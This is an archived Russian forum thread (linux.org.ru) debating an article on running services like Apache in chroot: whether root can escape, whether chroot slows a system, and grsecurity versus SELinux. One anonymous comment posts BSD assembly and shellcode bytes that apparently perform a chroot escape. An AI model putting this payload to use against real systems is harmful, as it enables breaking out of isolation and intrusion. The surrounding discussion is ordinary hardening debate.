LINUX.ORG.RU

Статья про перенос сервисов в chrooted окружение


0

0

В статье описаны общая методика переноса сервисов в chrooted environment и некоторые тонкости из личного опыта, в качестве примера приведена классика жанра - chroot Apache.

>>> Текст статьи

anonymous

Проверено: Shaman007 ()

Ответ на: комментарий от toxa

Apache приведена лишь в качестве примера.

-- Den aka Diesel

anonymous
()

Chroot'ить надо те и тольк те сервисы, которые работают от рута. Apache __никогда__ не работает с пользовательскими запросами от суперпользоваталя.

Следовательно, правильные права на каталоги и ACL решают все проблемы; и chroot, довольно ощутимо тормозящий систему, не нужен.

Именно поэтомe ни у кого из нормальных хостеров chroot для нерутовых сервисов не используется.

anonymous
()
Ответ на: комментарий от anonymous

> Apache __никогда__ не работает с пользовательскими запросами от суперпользоваталя

у апача - user apache

у мускуля - mysql

у антивиря - clamav

....

и не кто ни куда не суется

у меня в chroot'e только bind крутится

vadiml ★★★★★
()
Ответ на: комментарий от anonymous

> chroot, довольно ощутимо тормозящий систему

Почему?

anonymous
()
Ответ на: комментарий от anonymous

>Chroot'ить надо те и тольк те сервисы, которые работают от рута. Apache __никогда__ не работает с пользовательскими запросами от суперпользоваталя. Следовательно, правильные права на каталоги и ACL решают все проблемы; и chroot, довольно ощутимо тормозящий систему, не нужен.

А где именно чрут тормозит, да ещё ощутимо? А по поводу того,что только от рута тоже не согласен - лишняя безопасность никогда не повредит.

idoreallyhatespam
()
Ответ на: комментарий от idoreallyhatespam

> лишняя безопасность никогда не повредит

выключи компьютер и замуруй его. а то мало ли чего, подберутся и хакнут

anonymous
()

Пускать chrooted сервисы под рутом - глупо и бессмысленно, т.к. рут без проблем выберется из chroot-а. Смысл в том, что кроме apache-вских файлов, например, взломщик ничего не увидит, в том числе /etc/passwd например.

anonymous
()
Ответ на: комментарий от anonymous

Даже если у вас паранойя, это не значит, что за вами не следят.

anonymous
()
Ответ на: комментарий от anonymous

Зачем выключать компьютер если его можно просто продать другим ?

valeri_ufo
()
Ответ на: комментарий от anonymous

>Chroot'ить надо те и тольк те сервисы, которые работают от рута. Apache __никогда__ не работает с пользовательскими запросами от суперпользоваталя.

Полнейший бред. Процессы суперпользователя в chroot НЕ СПРЯЧЕШЬ!! root запросто сделает mount - вот chroot и кончился. chroot работает и применяется ТОЛЬКО для процессов не работающих с привилегиями суперпользователя.

>chroot, довольно ощутимо тормозящий систему

chroot делает очень простую вещь, меняет наследуемое свойство - inode на корневую директорию. Которое есть у любого процесса, и к которому всегда обращаются при обращении к файлам по полному имени. Просто у chroot'нутого процесса это свойство не такое как у нормального. Соответственно на работу chroot НЕ ВЛИЯЕТ никак. Или может у Вас если добавить в переменные среды вася=какашка тоже начинаются "тормоза и глюки"(tm)

anonymous
()
Ответ на: комментарий от anonymous

1. Не только. Вот на фрихостинге у меня больше 200 сайтов. Ну НЕ ХОЧУ я, чтобы кто-нибудь мог лазать по всем сайтам. Всякие скрипты типа perltelnet рулят, блин. Кроме того, если кто-то из хостеров вальнет апач, он завалит только 1/15 часть фрихоста. Остальные в этот момент будут спокойно работать.
Апач умеет делать suexec. К сожалению, часть софта требует перла, соответственно и suexec.

И не надо вопить "перл в отстойник" и т. п.!

2. chroot никак не может "тормозить систему" даже в принципе. Если тебе так интересно: у запущенного в chroot процесса просто-напросто /proc/root указывает не на /, а на chroot (например, на /servers/server1). Вся разница. А вот ACL твои любимые как раз будут отжирать кучу ресурсов на загрузку ACL с относительно медленных дисков, их содержание в оперативке и обработку ядром.

3. "Нормальные хостеры" умудряются даже на dedicated впаривать jail'ы. :-) Я доолго ржал, когда ребята "арендовали сервер", а "сервер" оказался элементарным jail под BSD. С соответствующими приколами типа /kernel указывающий неизвестно куда. :-)

R00T
()
Ответ на: комментарий от R00T

>Пускать chrooted сервисы под рутом - глупо и бессмысленно, т.к. рут без проблем выберется из chroot-а. Смысл в том, что кроме apache-вских файлов, например, взломщик ничего не увидит, в том числе /etc/passwd например.

хрен он у меня выберется. grsecurity на что?

anonymous
()
Ответ на: комментарий от anonymous

если вы читали статью - там написано про пресечение таких побегов

anonymous
()
Ответ на: комментарий от anonymous

> изолировать сервисы друг от друга

Я имел в виду, что в grsecurity есть гораздо более гибкий инструмент - RSBAC. Его разве не хватает для изолирования сервисов друг от друга? В связке chroot+grsecurity получается так, что новый многоцелевой инструмент подпирает старый, грубый и дырявый - chroot. Прав я, или нет?

anonymous
()
Ответ на: комментарий от anonymous

> Пускать chrooted сервисы под рутом - глупо и бессмысленно, т.к. рут без проблем выберется из chroot-а.

Специально для нечитавших цитирую:

"Итак, существует ряд проблем с безопасной работой в CE, однако существуют и контрмеры по их устранению. Одна из наиболее эффективных подпорок CE - это набор патчей на ядро под названием grsecurity. Эти патчи достойны настоящего параноика и позволяют достаточно туго затянуть гайки (вплоть до доведения системы до самого защищенного состояния - неработающего)."

Особенно порадовала перспектива выраженная в последней фразе :-)

unDEFER ★★★★★
()
Ответ на: комментарий от unDEFER

>Особенно порадовала перспектива выраженная в последней фразе :-)

Гы =) всё отлично работает. Можно даже рута пускать. Но поебаться придётся. Узнаешь много нового о 'безопасных' программах.

А вообще если ты заботишья о безопасности, то единственный выход - быть параноиком. А если ты параноик, это ещё не значит что за тобой не следят =)

anonymous
()
Ответ на: комментарий от anonymous

> Chroot'ить надо те и тольк те сервисы, которые работают от рута
анонимус не забывай добавлять IMHO перед подобными ламерскими заявлениями

> chroot, довольно ощутимо тормозящий систему
еще одна твоя глупенькая мысль ? Помолчал бы лучше.

szh ★★★★
()
Ответ на: комментарий от anonymous

>О! А зачем нужен chroot, если уже есть grsecurity?

Потому что, если и есть тормоза, то это - grsecurity. За все надо платить. И за супер безопасность настроенного grsecurity расплачиваться приходится быстродействием.

anonymous
()
Ответ на: комментарий от anonymous

насчет mount , а кто ему даст либы для mount ? хотя наверное можно собрать mount статически , так что ему не понадобится содержимое /lib , или я не прав ?

а насчет chroot-а , имхо лично я использую chroot для apache. а так-же cgi wraper-ы для разделения юзеров.

j262 ★★
()

Я не понимаю, а нах эта вся самодеятельность если можно поставить солярис и не ипать людям моск?
Ну раньше ладно, я понимал, что железо Sun заметно отличалось по цене, но сейчас это не так.
К тому же можно шейпить cpu usage, чтобы пионеры не орали что их любимые пых-пых странички медленно отрисовывыются.

Sun-ch
()
Ответ на: комментарий от Sun-ch

>Sun-ch # (*) (28.12.2005 11:06:34):Я не понимаю, а нах эта вся самодеятельность если можно поставить солярис и не ипать людям моск?

Или RH c SELinux?

anonymous
()
Ответ на: комментарий от anonymous

"Локальный пользователь может с помощью утилиты unix_chkpwd произвести перебор паролей к системным учетным записям. Неудачные попытки входа в систему не логируются."

Это, часом не про SELinux писали :)))))

Sun-ch
()
Ответ на: комментарий от Sun-ch

>а нах эта вся самодеятельность если можно поставить солярис и не ипать людям моск?

потому что некрофилия присуща только фанатам солнцевским. остальным нужно ехать, а не шашечки.

ты давай лучше расскажи, а то ты последние несколько раз сливал, почему макнили плюнул на принципы и встал раком перед балмером и гейтсом

anonymous
()
Ответ на: комментарий от anonymous



BITS32

jmp short callme
main:
popesi
movedi,esi
xorecx,ecx
pushecx
moval,0x17
pusheax
int0x80
xoreax,eax
pusheax
movcl,0x1e
moval,0x2e
repne stosb
popeax
stosb
movcl,0x1e
main_loop:
deccl
inc byte [esi+ecx]
deccl
loopmain_loop
push esi
moval,0x3d
pusheax
int0x80
callme:
callmain

*/
char bsd_shellcode[] =
"\xeb\x27\x5e\x89\xf7\x31\xc9\x51\xb0\x17\x50\xcd\x80\x31\xc0"
"\x50\xb1\x1e\xb0\x2e\xf2\xaa\x58\xaa\xb1\x1e\xfe\xc9\xfe\x04"
"\x0e\xfe\xc9\xe2\xf7\x56\xb0\x3d\x50\xcd\x80\xe8\xd4\xff\xff"
"\xff";



и все, пиздец chroot и иже с ним

anonymous
()
Ответ на: комментарий от vadiml

> у меня в chroot'e только bind крутится

А этот-то нафига? -u bind -g bind?

log1n
()
Ответ на: комментарий от anonymous

> Процессы суперпользователя в chroot НЕ СПРЯЧЕШЬ!! root

> запросто сделает mount

Да кто ж ему дасть-то?

log1n
()
Ответ на: комментарий от anonymous

> интересно каким образом root сделает св chroote mount усли там

>не будет mount ??

Он может его там создать или закачать/скачать.

log1n
()
Ответ на: комментарий от log1n

с grsec можно (и нужно) запрещать вызов mount() внутри chroot

anonymous
()
Ответ на: комментарий от log1n

права локального юзера теоретически можно поднять

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.